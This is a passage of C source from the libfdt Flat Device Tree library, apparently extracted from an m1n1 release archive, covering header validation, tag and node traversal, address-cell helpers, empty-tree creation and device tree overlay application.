(!can_assume(LATEST)) { if (fdt_version(fdt) < FDT_FIRST_SUPPORTED_VERSION) return -FDT_ERR_BADVERSION; if (fdt_last_comp_version(fdt) > FDT_LAST_SUPPORTED_VERSION) return -FDT_ERR_BADVERSION; } } else if (fdt_magic(fdt) == FDT_SW_MAGIC) { /* Unfinished sequential-write blob */ if (!can_assume(VALID_INPUT) && fdt_size_dt_struct(fdt) == 0) return -FDT_ERR_BADSTATE; } else { return -FDT_ERR_BADMAGIC; } if (totalsize < INT32_MAX) return totalsize; else return -FDT_ERR_TRUNCATED; } static int check_off_(uint32_t hdrsize, uint32_t totalsize, uint32_t off) { return (off >= hdrsize) && (off <= totalsize); } static int check_block_(uint32_t hdrsize, uint32_t totalsize, uint32_t base, uint32_t size) { if (!check_off_(hdrsize, totalsize, base)) return 0; /* block start out of bounds */ if ((base + size) < base) return 0; /* overflow */ if (!check_off_(hdrsize, totalsize, base + size)) return 0; /* block end out of bounds */ return 1; } size_t fdt_header_size_(uint32_t version) { if (version <= 1) return FDT_V1_SIZE; else if (version <= 2) return FDT_V2_SIZE; else if (version <= 3) return FDT_V3_SIZE; else if (version <= 16) return FDT_V16_SIZE; else return FDT_V17_SIZE; } size_t fdt_header_size(const void *fdt) { return can_assume(LATEST) ? FDT_V17_SIZE : fdt_header_size_(fdt_version(fdt)); } int fdt_check_header(const void *fdt) { size_t hdrsize; if (fdt_magic(fdt) != FDT_MAGIC) return -FDT_ERR_BADMAGIC; if (!can_assume(LATEST)) { if ((fdt_version(fdt) < FDT_FIRST_SUPPORTED_VERSION) || (fdt_last_comp_version(fdt) > FDT_LAST_SUPPORTED_VERSION)) return -FDT_ERR_BADVERSION; if (fdt_version(fdt) < fdt_last_comp_version(fdt)) return -FDT_ERR_BADVERSION; } hdrsize = fdt_header_size(fdt); if (!can_assume(VALID_DTB)) { if ((fdt_totalsize(fdt) < hdrsize) || (fdt_totalsize(fdt) > INT_MAX)) return -FDT_ERR_TRUNCATED; /* Bounds check memrsv block */ if (!check_off_(hdrsize, fdt_totalsize(fdt), fdt_off_mem_rsvmap(fdt))) return -FDT_ERR_TRUNCATED; } if (!can_assume(VALID_DTB)) { /* Bounds check structure block */ if (!can_assume(LATEST) && fdt_version(fdt) < 17) { if (!check_off_(hdrsize, fdt_totalsize(fdt), fdt_off_dt_struct(fdt))) return -FDT_ERR_TRUNCATED; } else { if (!check_block_(hdrsize, fdt_totalsize(fdt), fdt_off_dt_struct(fdt), fdt_size_dt_struct(fdt))) return -FDT_ERR_TRUNCATED; } /* Bounds check strings block */ if (!check_block_(hdrsize, fdt_totalsize(fdt), fdt_off_dt_strings(fdt), fdt_size_dt_strings(fdt))) return -FDT_ERR_TRUNCATED; } return 0; } const void *fdt_offset_ptr(const void *fdt, int offset, unsigned int len) { unsigned int uoffset = offset; unsigned int absoffset = offset + fdt_off_dt_struct(fdt); if (offset < 0) return NULL; if (!can_assume(VALID_INPUT)) if ((absoffset < uoffset) || ((absoffset + len) < absoffset) || (absoffset + len) > fdt_totalsize(fdt)) return NULL; if (can_assume(LATEST) || fdt_version(fdt) >= 0x11) if (((uoffset + len) < uoffset) || ((offset + len) > fdt_size_dt_struct(fdt))) return NULL; return fdt_offset_ptr_(fdt, offset); } uint32_t fdt_next_tag(const void *fdt, int startoffset, int *nextoffset) { const fdt32_t *tagp, *lenp; uint32_t tag; int offset = startoffset; const char *p; *nextoffset = -FDT_ERR_TRUNCATED; tagp = fdt_offset_ptr(fdt, offset, FDT_TAGSIZE); if (!can_assume(VALID_DTB) && !tagp) return FDT_END; /* premature end */ tag = fdt32_to_cpu(*tagp); offset += FDT_TAGSIZE; *nextoffset = -FDT_ERR_BADSTRUCTURE; switch (tag) { case FDT_BEGIN_NODE: /* skip name */ do { p = fdt_offset_ptr(fdt, offset++, 1); } while (p && (*p != '\0')); if (!can_assume(VALID_DTB) && !p) return FDT_END; /* premature end */ break; case FDT_PROP: lenp = fdt_offset_ptr(fdt, offset, sizeof(*lenp)); if (!can_assume(VALID_DTB) && !lenp) return FDT_END; /* premature end */ /* skip-name offset, length and value */ offset += sizeof(struct fdt_property) - FDT_TAGSIZE + fdt32_to_cpu(*lenp); if (!can_assume(LATEST) && fdt_version(fdt) < 0x10 && fdt32_to_cpu(*lenp) >= 8 && ((offset - fdt32_to_cpu(*lenp)) % 8) != 0) offset += 4; break; case FDT_END: case FDT_END_NODE: case FDT_NOP: break; default: return FDT_END; } if (!fdt_offset_ptr(fdt, startoffset, offset - startoffset)) return FDT_END; /* premature end */ *nextoffset = FDT_TAGALIGN(offset); return tag; } int fdt_check_node_offset_(const void *fdt, int offset) { if (!can_assume(VALID_INPUT) && ((offset < 0) || (offset % FDT_TAGSIZE))) return -FDT_ERR_BADOFFSET; if (fdt_next_tag(fdt, offset, &offset) != FDT_BEGIN_NODE) return -FDT_ERR_BADOFFSET; return offset; } int fdt_check_prop_offset_(const void *fdt, int offset) { if (!can_assume(VALID_INPUT) && ((offset < 0) || (offset % FDT_TAGSIZE))) return -FDT_ERR_BADOFFSET; if (fdt_next_tag(fdt, offset, &offset) != FDT_PROP) return -FDT_ERR_BADOFFSET; return offset; } int fdt_next_node(const void *fdt, int offset, int *depth) { int nextoffset = 0; uint32_t tag; if (offset >= 0) if ((nextoffset = fdt_check_node_offset_(fdt, offset)) < 0) return nextoffset; do { offset = nextoffset; tag = fdt_next_tag(fdt, offset, &nextoffset); switch (tag) { case FDT_PROP: case FDT_NOP: break; case FDT_BEGIN_NODE: if (depth) (*depth)++; break; case FDT_END_NODE: if (depth && ((--(*depth)) < 0)) return nextoffset; break; case FDT_END: if ((nextoffset >= 0) || ((nextoffset == -FDT_ERR_TRUNCATED) && !depth)) return -FDT_ERR_NOTFOUND; else return nextoffset; } } while (tag != FDT_BEGIN_NODE); return offset; } int fdt_first_subnode(const void *fdt, int offset) { int depth = 0; offset = fdt_next_node(fdt, offset, &depth); if (offset < 0 || depth != 1) return -FDT_ERR_NOTFOUND; return offset; } int fdt_next_subnode(const void *fdt, int offset) { int depth = 1; /* * With respect to the parent, the depth of the next subnode will be * the same as the last. */ do { offset = fdt_next_node(fdt, offset, &depth); if (offset < 0 || depth < 1) return -FDT_ERR_NOTFOUND; } while (depth > 1); return offset; } const char *fdt_find_string_(const char *strtab, int tabsize, const char *s) { int len = strlen(s) + 1; const char *last = strtab + tabsize - len; const char *p; for (p = strtab; p <= last; p++) if (memcmp(p, s, len) == 0) return p; return NULL; } int fdt_move(const void *fdt, void *buf, int bufsize) { if (!can_assume(VALID_INPUT) && bufsize < 0) return -FDT_ERR_NOSPACE; FDT_RO_PROBE(fdt); if (fdt_totalsize(fdt) > (unsigned int)bufsize) return -FDT_ERR_NOSPACE; memmove(buf, fdt, fdt_totalsize(fdt)); return 0; } m1n1-1.4.11/src/libfdt/fdt.h000066400000000000000000000033411453754430200153430ustar00rootroot00000000000000/* SPDX-License-Identifier: (GPL-2.0-or-later OR BSD-2-Clause) */ #ifndef FDT_H #define FDT_H /* * libfdt - Flat Device Tree manipulation * Copyright (C) 2006 David Gibson, IBM Corporation. * Copyright 2012 Kim Phillips, Freescale Semiconductor. */ #ifndef __ASSEMBLY__ struct fdt_header { fdt32_t magic; /* magic word FDT_MAGIC */ fdt32_t totalsize; /* total size of DT block */ fdt32_t off_dt_struct; /* offset to structure */ fdt32_t off_dt_strings; /* offset to strings */ fdt32_t off_mem_rsvmap; /* offset to memory reserve map */ fdt32_t version; /* format version */ fdt32_t last_comp_version; /* last compatible version */ /* version 2 fields below */ fdt32_t boot_cpuid_phys; /* Which physical CPU id we're booting on */ /* version 3 fields below */ fdt32_t size_dt_strings; /* size of the strings block */ /* version 17 fields below */ fdt32_t size_dt_struct; /* size of the structure block */ }; struct fdt_reserve_entry { fdt64_t address; fdt64_t size; }; struct fdt_node_header { fdt32_t tag; char name[0]; }; struct fdt_property { fdt32_t tag; fdt32_t len; fdt32_t nameoff; char data[0]; }; #endif /* !__ASSEMBLY */ #define FDT_MAGIC 0xd00dfeed /* 4: version, 4: total size */ #define FDT_TAGSIZE sizeof(fdt32_t) #define FDT_BEGIN_NODE 0x1 /* Start node: full name */ #define FDT_END_NODE 0x2 /* End node */ #define FDT_PROP 0x3 /* Property: name off, size, content */ #define FDT_NOP 0x4 /* nop */ #define FDT_END 0x9 #define FDT_V1_SIZE (7*sizeof(fdt32_t)) #define FDT_V2_SIZE (FDT_V1_SIZE + sizeof(fdt32_t)) #define FDT_V3_SIZE (FDT_V2_SIZE + sizeof(fdt32_t)) #define FDT_V16_SIZE FDT_V3_SIZE #define FDT_V17_SIZE (FDT_V16_SIZE + sizeof(fdt32_t)) #endif /* FDT_H */ m1n1-1.4.11/src/libfdt/fdt_addresses.c000066400000000000000000000042061453754430200173740ustar00rootroot00000000000000// SPDX-License-Identifier: (GPL-2.0-or-later OR BSD-2-Clause) /* * libfdt - Flat Device Tree manipulation * Copyright (C) 2014 David Gibson * Copyright (C) 2018 embedded brains GmbH */ #include "libfdt_env.h" #include "fdt.h" #include "libfdt.h" #include "libfdt_internal.h" static int fdt_cells(const void *fdt, int nodeoffset, const char *name) { const fdt32_t *c; uint32_t val; int len; c = fdt_getprop(fdt, nodeoffset, name, &len); if (!c) return len; if (len != sizeof(*c)) return -FDT_ERR_BADNCELLS; val = fdt32_to_cpu(*c); if (val > FDT_MAX_NCELLS) return -FDT_ERR_BADNCELLS; return (int)val; } int fdt_address_cells(const void *fdt, int nodeoffset) { int val; val = fdt_cells(fdt, nodeoffset, "#address-cells"); if (val == 0) return -FDT_ERR_BADNCELLS; if (val == -FDT_ERR_NOTFOUND) return 2; return val; } int fdt_size_cells(const void *fdt, int nodeoffset) { int val; val = fdt_cells(fdt, nodeoffset, "#size-cells"); if (val == -FDT_ERR_NOTFOUND) return 1; return val; } /* This function assumes that [address|size]_cells is 1 or 2 */ int fdt_appendprop_addrrange(void *fdt, int parent, int nodeoffset, const char *name, uint64_t addr, uint64_t size) { int addr_cells, size_cells, ret; uint8_t data[sizeof(fdt64_t) * 2], *prop; ret = fdt_address_cells(fdt, parent); if (ret < 0) return ret; addr_cells = ret; ret = fdt_size_cells(fdt, parent); if (ret < 0) return ret; size_cells = ret; /* check validity of address */ prop = data; if (addr_cells == 1) { if ((addr > UINT32_MAX) || ((UINT32_MAX + 1 - addr) < size)) return -FDT_ERR_BADVALUE; fdt32_st(prop, (uint32_t)addr); } else if (addr_cells == 2) { fdt64_st(prop, addr); } else { return -FDT_ERR_BADNCELLS; } /* check validity of size */ prop += addr_cells * sizeof(fdt32_t); if (size_cells == 1) { if (size > UINT32_MAX) return -FDT_ERR_BADVALUE; fdt32_st(prop, (uint32_t)size); } else if (size_cells == 2) { fdt64_st(prop, size); } else { return -FDT_ERR_BADNCELLS; } return fdt_appendprop(fdt, nodeoffset, name, data, (addr_cells + size_cells) * sizeof(fdt32_t)); } m1n1-1.4.11/src/libfdt/fdt_empty_tree.c000066400000000000000000000012011453754430200175640ustar00rootroot00000000000000// SPDX-License-Identifier: (GPL-2.0-or-later OR BSD-2-Clause) /* * libfdt - Flat Device Tree manipulation * Copyright (C) 2012 David Gibson, IBM Corporation. */ #include "libfdt_env.h" #include "fdt.h" #include "libfdt.h" #include "libfdt_internal.h" int fdt_create_empty_tree(void *buf, int bufsize) { int err; err = fdt_create(buf, bufsize); if (err) return err; err = fdt_finish_reservemap(buf); if (err) return err; err = fdt_begin_node(buf, ""); if (err) return err; err = fdt_end_node(buf); if (err) return err; err = fdt_finish(buf); if (err) return err; return fdt_open_into(buf, buf, bufsize); } m1n1-1.4.11/src/libfdt/fdt_overlay.c000066400000000000000000000532241453754430200171040ustar00rootroot00000000000000// SPDX-License-Identifier: (GPL-2.0-or-later OR BSD-2-Clause) /* * libfdt - Flat Device Tree manipulation * Copyright (C) 2016 Free Electrons * Copyright (C) 2016 NextThing Co. */ #include "libfdt_env.h" #include "fdt.h" #include "libfdt.h" #include "libfdt_internal.h" /** * overlay_get_target_phandle - retrieves the target phandle of a fragment * @fdto: pointer to the device tree overlay blob * @fragment: node offset of the fragment in the overlay * * overlay_get_target_phandle() retrieves the target phandle of an * overlay fragment when that fragment uses a phandle (target * property) instead of a path (target-path property). * * returns: * the phandle pointed by the target property * 0, if the phandle was not found * -1, if the phandle was malformed */ static uint32_t overlay_get_target_phandle(const void *fdto, int fragment) { const fdt32_t *val; int len; val = fdt_getprop(fdto, fragment, "target", &len); if (!val) return 0; if ((len != sizeof(*val)) || (fdt32_to_cpu(*val) == (uint32_t)-1)) return (uint32_t)-1; return fdt32_to_cpu(*val); } /** * overlay_get_target - retrieves the offset of a fragment's target * @fdt: Base device tree blob * @fdto: Device tree overlay blob * @fragment: node offset of the fragment in the overlay * @pathp: pointer which receives the path of the target (or NULL) * * overlay_get_target() retrieves the target offset in the base * device tree of a fragment, no matter how the actual targeting is * done (through a phandle or a path) * * returns: * the targeted node offset in the base device tree * Negative error code on error */ static int overlay_get_target(const void *fdt, const void *fdto, int fragment, char const **pathp) { uint32_t phandle; const char *path = NULL; int path_len = 0, ret; /* Try first to do a phandle based lookup */ phandle = overlay_get_target_phandle(fdto, fragment); if (phandle == (uint32_t)-1) return -FDT_ERR_BADPHANDLE; /* no phandle, try path */ if (!phandle) { /* And then a path based lookup */ path = fdt_getprop(fdto, fragment, "target-path", &path_len); if (path) ret = fdt_path_offset(fdt, path); else ret = path_len; } else ret = fdt_node_offset_by_phandle(fdt, phandle); /* * If we haven't found either a target or a * target-path property in a node that contains a * __overlay__ subnode (we wouldn't be called * otherwise), consider it a improperly written * overlay */ if (ret < 0 && path_len == -FDT_ERR_NOTFOUND) ret = -FDT_ERR_BADOVERLAY; /* return on error */ if (ret < 0) return ret; /* return pointer to path (if available) */ if (pathp) *pathp = path ? path : NULL; return ret; } /** * overlay_phandle_add_offset - Increases a phandle by an offset * @fdt: Base device tree blob * @node: Device tree overlay blob * @name: Name of the property to modify (phandle or linux,phandle) * @delta: offset to apply * * overlay_phandle_add_offset() increments a node phandle by a given * offset. * * returns: * 0 on success. * Negative error code on error */ static int overlay_phandle_add_offset(void *fdt, int node, const char *name, uint32_t delta) { const fdt32_t *val; uint32_t adj_val; int len; val = fdt_getprop(fdt, node, name, &len); if (!val) return len; if (len != sizeof(*val)) return -FDT_ERR_BADPHANDLE; adj_val = fdt32_to_cpu(*val); if ((adj_val + delta) < adj_val) return -FDT_ERR_NOPHANDLES; adj_val += delta; if (adj_val == (uint32_t)-1) return -FDT_ERR_NOPHANDLES; return fdt_setprop_inplace_u32(fdt, node, name, adj_val); } /** * overlay_adjust_node_phandles - Offsets the phandles of a node * @fdto: Device tree overlay blob * @node: Offset of the node we want to adjust * @delta: Offset to shift the phandles of * * overlay_adjust_node_phandles() adds a constant to all the phandles * of a given node. This is mainly use as part of the overlay * application process, when we want to update all the overlay * phandles to not conflict with the overlays of the base device tree. * * returns: * 0 on success * Negative error code on failure */ static int overlay_adjust_node_phandles(void *fdto, int node, uint32_t delta) { int child; int ret; ret = overlay_phandle_add_offset(fdto, node, "phandle", delta); if (ret && ret != -FDT_ERR_NOTFOUND) return ret; ret = overlay_phandle_add_offset(fdto, node, "linux,phandle", delta); if (ret && ret != -FDT_ERR_NOTFOUND) return ret; fdt_for_each_subnode(child, fdto, node) { ret = overlay_adjust_node_phandles(fdto, child, delta); if (ret) return ret; } return 0; } /** * overlay_adjust_local_phandles - Adjust the phandles of a whole overlay * @fdto: Device tree overlay blob * @delta: Offset to shift the phandles of * * overlay_adjust_local_phandles() adds a constant to all the * phandles of an overlay. This is mainly use as part of the overlay * application process, when we want to update all the overlay * phandles to not conflict with the overlays of the base device tree. * * returns: * 0 on success * Negative error code on failure */ static int overlay_adjust_local_phandles(void *fdto, uint32_t delta) { /* * Start adjusting the phandles from the overlay root */ return overlay_adjust_node_phandles(fdto, 0, delta); } /** * overlay_update_local_node_references - Adjust the overlay references * @fdto: Device tree overlay blob * @tree_node: Node offset of the node to operate on * @fixup_node: Node offset of the matching local fixups node * @delta: Offset to shift the phandles of * * overlay_update_local_nodes_references() update the phandles * pointing to a node within the device tree overlay by adding a * constant delta. * * This is mainly used as part of a device tree application process, * where you want the device tree overlays phandles to not conflict * with the ones from the base device tree before merging them. * * returns: * 0 on success * Negative error code on failure */ static int overlay_update_local_node_references(void *fdto, int tree_node, int fixup_node, uint32_t delta) { int fixup_prop; int fixup_child; int ret; fdt_for_each_property_offset(fixup_prop, fdto, fixup_node) { const fdt32_t *fixup_val; const char *tree_val; const char *name; int fixup_len; int tree_len; int i; fixup_val = fdt_getprop_by_offset(fdto, fixup_prop, &name, &fixup_len); if (!fixup_val) return fixup_len; if (fixup_len % sizeof(uint32_t)) return -FDT_ERR_BADOVERLAY; fixup_len /= sizeof(uint32_t); tree_val = fdt_getprop(fdto, tree_node, name, &tree_len); if (!tree_val) { if (tree_len == -FDT_ERR_NOTFOUND) return -FDT_ERR_BADOVERLAY; return tree_len; } for (i = 0; i < fixup_len; i++) { fdt32_t adj_val; uint32_t poffset; poffset = fdt32_to_cpu(fixup_val[i]); /* * phandles to fixup can be unaligned. * * Use a memcpy for the architectures that do * not support unaligned accesses. */ memcpy(&adj_val, tree_val + poffset, sizeof(adj_val)); adj_val = cpu_to_fdt32(fdt32_to_cpu(adj_val) + delta); ret = fdt_setprop_inplace_namelen_partial(fdto, tree_node, name, strlen(name), poffset, &adj_val, sizeof(adj_val)); if (ret == -FDT_ERR_NOSPACE) return -FDT_ERR_BADOVERLAY; if (ret) return ret; } } fdt_for_each_subnode(fixup_child, fdto, fixup_node) { const char *fixup_child_name = fdt_get_name(fdto, fixup_child, NULL); int tree_child; tree_child = fdt_subnode_offset(fdto, tree_node, fixup_child_name); if (tree_child == -FDT_ERR_NOTFOUND) return -FDT_ERR_BADOVERLAY; if (tree_child < 0) return tree_child; ret = overlay_update_local_node_references(fdto, tree_child, fixup_child, delta); if (ret) return ret; } return 0; } /** * overlay_update_local_references - Adjust the overlay references * @fdto: Device tree overlay blob * @delta: Offset to shift the phandles of * * overlay_update_local_references() update all the phandles pointing * to a node within the device tree overlay by adding a constant * delta to not conflict with the base overlay. * * This is mainly used as part of a device tree application process, * where you want the device tree overlays phandles to not conflict * with the ones from the base device tree before merging them. * * returns: * 0 on success * Negative error code on failure */ static int overlay_update_local_references(void *fdto, uint32_t delta) { int fixups; fixups = fdt_path_offset(fdto, "/__local_fixups__"); if (fixups < 0) { /* There's no local phandles to adjust, bail out */ if (fixups == -FDT_ERR_NOTFOUND) return 0; return fixups; } /* * Update our local references from the root of the tree */ return overlay_update_local_node_references(fdto, 0, fixups, delta); } /** * overlay_fixup_one_phandle - Set an overlay phandle to the base one * @fdt: Base Device Tree blob * @fdto: Device tree overlay blob * @symbols_off: Node offset of the symbols node in the base device tree * @path: Path to a node holding a phandle in the overlay * @path_len: number of path characters to consider * @name: Name of the property holding the phandle reference in the overlay * @name_len: number of name characters to consider * @poffset: Offset within the overlay property where the phandle is stored * @label: Label of the node referenced by the phandle * * overlay_fixup_one_phandle() resolves an overlay phandle pointing to * a node in the base device tree. * * This is part of the device tree overlay application process, when * you want all the phandles in the overlay to point to the actual * base dt nodes. * * returns: * 0 on success * Negative error code on failure */ static int overlay_fixup_one_phandle(void *fdt, void *fdto, int symbols_off, const char *path, uint32_t path_len, const char *name, uint32_t name_len, int poffset, const char *label) { const char *symbol_path; uint32_t phandle; fdt32_t phandle_prop; int symbol_off, fixup_off; int prop_len; if (symbols_off < 0) return symbols_off; symbol_path = fdt_getprop(fdt, symbols_off, label, &prop_len); if (!symbol_path) return prop_len; symbol_off = fdt_path_offset(fdt, symbol_path); if (symbol_off < 0) return symbol_off; phandle = fdt_get_phandle(fdt, symbol_off); if (!phandle) return -FDT_ERR_NOTFOUND; fixup_off = fdt_path_offset_namelen(fdto, path, path_len); if (fixup_off == -FDT_ERR_NOTFOUND) return -FDT_ERR_BADOVERLAY; if (fixup_off < 0) return fixup_off; phandle_prop = cpu_to_fdt32(phandle); return fdt_setprop_inplace_namelen_partial(fdto, fixup_off, name, name_len, poffset, &phandle_prop, sizeof(phandle_prop)); }; /** * overlay_fixup_phandle - Set an overlay phandle to the base one * @fdt: Base Device Tree blob * @fdto: Device tree overlay blob * @symbols_off: Node offset of the symbols node in the base device tree * @property: Property offset in the overlay holding the list of fixups * * overlay_fixup_phandle() resolves all the overlay phandles pointed * to in a __fixups__ property, and updates them to match the phandles * in use in the base device tree. * * This is part of the device tree overlay application process, when * you want all the phandles in the overlay to point to the actual * base dt nodes. * * returns: * 0 on success * Negative error code on failure */ static int overlay_fixup_phandle(void *fdt, void *fdto, int symbols_off, int property) { const char *value; const char *label; int len; value = fdt_getprop_by_offset(fdto, property, &label, &len); if (!value) { if (len == -FDT_ERR_NOTFOUND) return -FDT_ERR_INTERNAL; return len; } do { const char *path, *name, *fixup_end; const char *fixup_str = value; uint32_t path_len, name_len; uint32_t fixup_len; char *sep, *endptr; int poffset, ret; fixup_end = memchr(value, '\0', len); if (!fixup_end) return -FDT_ERR_BADOVERLAY; fixup_len = fixup_end - fixup_str; len -= fixup_len + 1; value += fixup_len + 1; path = fixup_str; sep = memchr(fixup_str, ':', fixup_len); if (!sep || *sep != ':') return -FDT_ERR_BADOVERLAY; path_len = sep - path; if (path_len == (fixup_len - 1)) return -FDT_ERR_BADOVERLAY; fixup_len -= path_len + 1; name = sep + 1; sep = memchr(name, ':', fixup_len); if (!sep || *sep != ':') return -FDT_ERR_BADOVERLAY; name_len = sep - name; if (!name_len) return -FDT_ERR_BADOVERLAY; poffset = strtoul(sep + 1, &endptr, 10); if ((*endptr != '\0') || (endptr <= (sep + 1))) return -FDT_ERR_BADOVERLAY; ret = overlay_fixup_one_phandle(fdt, fdto, symbols_off, path, path_len, name, name_len, poffset, label); if (ret) return ret; } while (len > 0); return 0; } /** * overlay_fixup_phandles - Resolve the overlay phandles to the base * device tree * @fdt: Base Device Tree blob * @fdto: Device tree overlay blob * * overlay_fixup_phandles() resolves all the overlay phandles pointing * to nodes in the base device tree. * * This is one of the steps of the device tree overlay application * process, when you want all the phandles in the overlay to point to * the actual base dt nodes. * * returns: * 0 on success * Negative error code on failure */ static int overlay_fixup_phandles(void *fdt, void *fdto) { int fixups_off, symbols_off; int property; /* We can have overlays without any fixups */ fixups_off = fdt_path_offset(fdto, "/__fixups__"); if (fixups_off == -FDT_ERR_NOTFOUND) return 0; /* nothing to do */ if (fixups_off < 0) return fixups_off; /* And base DTs without symbols */ symbols_off = fdt_path_offset(fdt, "/__symbols__"); if ((symbols_off < 0 && (symbols_off != -FDT_ERR_NOTFOUND))) return symbols_off; fdt_for_each_property_offset(property, fdto, fixups_off) { int ret; ret = overlay_fixup_phandle(fdt, fdto, symbols_off, property); if (ret) return ret; } return 0; } /** * overlay_apply_node - Merges a node into the base device tree * @fdt: Base Device Tree blob * @target: Node offset in the base device tree to apply the fragment to * @fdto: Device tree overlay blob * @node: Node offset in the overlay holding the changes to merge * * overlay_apply_node() merges a node into a target base device tree * node pointed. * * This is part of the final step in the device tree overlay * application process, when all the phandles have been adjusted and * resolved and you just have to merge overlay into the base device * tree. * * returns: * 0 on success * Negative error code on failure */ static int overlay_apply_node(void *fdt, int target, void *fdto, int node) { int property; int subnode; fdt_for_each_property_offset(property, fdto, node) { const char *name; const void *prop; int prop_len; int ret; prop = fdt_getprop_by_offset(fdto, property, &name, &prop_len); if (prop_len == -FDT_ERR_NOTFOUND) return -FDT_ERR_INTERNAL; if (prop_len < 0) return prop_len; ret = fdt_setprop(fdt, target, name, prop, prop_len); if (ret) return ret; } fdt_for_each_subnode(subnode, fdto, node) { const char *name = fdt_get_name(fdto, subnode, NULL); int nnode; int ret; nnode = fdt_add_subnode(fdt, target, name); if (nnode == -FDT_ERR_EXISTS) { nnode = fdt_subnode_offset(fdt, target, name); if (nnode == -FDT_ERR_NOTFOUND) return -FDT_ERR_INTERNAL; } if (nnode < 0) return nnode; ret = overlay_apply_node(fdt, nnode, fdto, subnode); if (ret) return ret; } return 0; } /** * overlay_merge - Merge an overlay into its base device tree * @fdt: Base Device Tree blob * @fdto: Device tree overlay blob * * overlay_merge() merges an overlay into its base device tree. * * This is the next to last step in the device tree overlay application * process, when all the phandles have been adjusted and resolved and * you just have to merge overlay into the base device tree. * * returns: * 0 on success * Negative error code on failure */ static int overlay_merge(void *fdt, void *fdto) { int fragment; fdt_for_each_subnode(fragment, fdto, 0) { int overlay; int target; int ret; /* * Each fragments will have an __overlay__ node. If * they don't, it's not supposed to be merged */ overlay = fdt_subnode_offset(fdto, fragment, "__overlay__"); if (overlay == -FDT_ERR_NOTFOUND) continue; if (overlay < 0) return overlay; target = overlay_get_target(fdt, fdto, fragment, NULL); if (target < 0) return target; ret = overlay_apply_node(fdt, target, fdto, overlay); if (ret) return ret; } return 0; } static int get_path_len(const void *fdt, int nodeoffset) { int len = 0, namelen; const char *name; FDT_RO_PROBE(fdt); for (;;) { name = fdt_get_name(fdt, nodeoffset, &namelen); if (!name) return namelen; /* root? we're done */ if (namelen == 0) break; nodeoffset = fdt_parent_offset(fdt, nodeoffset); if (nodeoffset < 0) return nodeoffset; len += namelen + 1; } /* in case of root pretend it's "/" */ if (len == 0) len++; return len; } /** * overlay_symbol_update - Update the symbols of base tree after a merge * @fdt: Base Device Tree blob * @fdto: Device tree overlay blob * * overlay_symbol_update() updates the symbols of the base tree with the * symbols of the applied overlay * * This is the last step in the device tree overlay application * process, allowing the reference of overlay symbols by subsequent * overlay operations. * * returns: * 0 on success * Negative error code on failure */ static int overlay_symbol_update(void *fdt, void *fdto) { int root_sym, ov_sym, prop, path_len, fragment, target; int len, frag_name_len, ret, rel_path_len; const char *s, *e; const char *path; const char *name; const char *frag_name; const char *rel_path; const char *target_path; char *buf; void *p; ov_sym = fdt_subnode_offset(fdto, 0, "__symbols__"); /* if no overlay symbols exist no problem */ if (ov_sym < 0) return 0; root_sym = fdt_subnode_offset(fdt, 0, "__symbols__"); /* it no root symbols exist we should create them */ if (root_sym == -FDT_ERR_NOTFOUND) root_sym = fdt_add_subnode(fdt, 0, "__symbols__"); /* any error is fatal now */ if (root_sym < 0) return root_sym; /* iterate over each overlay symbol */ fdt_for_each_property_offset(prop, fdto, ov_sym) { path = fdt_getprop_by_offset(fdto, prop, &name, &path_len); if (!path) return path_len; /* verify it's a string property (terminated by a single \0) */ if (path_len < 1 || memchr(path, '\0', path_len) != &path[path_len - 1]) return -FDT_ERR_BADVALUE; /* keep end marker to avoid strlen() */ e = path + path_len; if (*path != '/') return -FDT_ERR_BADVALUE; /* get fragment name first */ s = strchr(path + 1, '/'); if (!s) { /* Symbol refers to something that won't end * up in the target tree */ continue; } frag_name = path + 1; frag_name_len = s - path - 1; /* verify format; safe since "s" lies in \0 terminated prop */ len = sizeof("/__overlay__/") - 1; if ((e - s) > len && (memcmp(s, "/__overlay__/", len) == 0)) { /* //__overlay__/ */ rel_path = s + len; rel_path_len = e - rel_path - 1; } else if ((e - s) == len && (memcmp(s, "/__overlay__", len - 1) == 0)) { /* //__overlay__ */ rel_path = ""; rel_path_len = 0; } else { /* Symbol refers to something that won't end * up in the target tree */ continue; } /* find the fragment index in which the symbol lies */ ret = fdt_subnode_offset_namelen(fdto, 0, frag_name, frag_name_len); /* not found? */ if (ret < 0) return -FDT_ERR_BADOVERLAY; fragment = ret; /* an __overlay__ subnode must exist */ ret = fdt_subnode_offset(fdto, fragment, "__overlay__"); if (ret < 0) return -FDT_ERR_BADOVERLAY; /* get the target of the fragment */ ret = overlay_get_target(fdt, fdto, fragment, &target_path); if (ret < 0) return ret; target = ret; /* if we have a target path use */ if (!target_path) { ret = get_path_len(fdt, target); if (ret < 0) return ret; len = ret; } else { len = strlen(target_path); } ret = fdt_setprop_placeholder(fdt, root_sym, name, len + (len > 1) + rel_path_len + 1, &p); if (ret < 0) return ret; if (!target_path) { /* again in case setprop_placeholder changed it */ ret = overlay_get_target(fdt, fdto, fragment, &target_path); if (ret < 0) return ret; target = ret; } buf = p; if (len > 1) { /* target is not root */ if (!target_path) { ret = fdt_get_path(fdt, target, buf, len + 1); if (ret < 0) return ret; } else memcpy(buf, target_path, len + 1); } else len--; buf[len] = '/'; memcpy(buf + len + 1, rel_path, rel_path_len); buf[len + 1 + rel_path_len] = '\0'; } return 0; } int fdt_overlay_apply(void *fdt, void *fdto) { uint32_t delta; int ret; FDT_RO_PROBE(fdt); FDT_RO_PROBE(fdto); ret = fdt_find_max_phandle(fdt, &delta); if (ret) goto err; ret = overlay_adjust_local_phandles(fdto, delta); if (ret) goto err; ret = overlay_update_local_references(fdto, delta); if (ret) goto err; ret = overlay_fixup_phandles(fdt, fdto); if (ret) goto err; ret = overlay_merge(fdt, fdto); if (ret) goto err; ret = overlay_symbol_update(fdt, fdto); if (ret) goto err; /* * The overlay has been damaged, erase its magic. */ fdt_set_magic(fdto, ~0); return 0; err: /* * The overlay might have been damaged, erase its magic. */ fdt_set_magic(fdto, ~0); /* * The base device tree might have been damaged, erase its * magic. */ fdt_set_magic(fdt, ~0); return ret; } m1n1-1.4.11/src/libfdt/fdt_ro.c000066400000000000000000000441561453754430200160470ustar00rootroot00000000000000// SPDX-License-Identifier: (GPL-2.0-or-later OR BSD-2-Clause) /* * libfdt - Flat Device Tree manipulation * Copyright (C) 2006 David Gibson, IBM Corporation. */ #include "libfdt_env.h" #include "fdt.h" #include "libfdt.h" #include "libfdt_internal.h" static int fdt_nodename_eq_(const void *fdt, int offset, const char *s, int len) { int olen; const char *p = fdt_get_name(fdt, offset, &olen); if (!p || olen < len) /* short match */ return 0; if (memcmp(p, s, len) != 0) return 0; if (p[len] == '\0') return 1; else if (!memchr(s, '@', len) && (p[len] == '@')) return 1; else return 0; } const 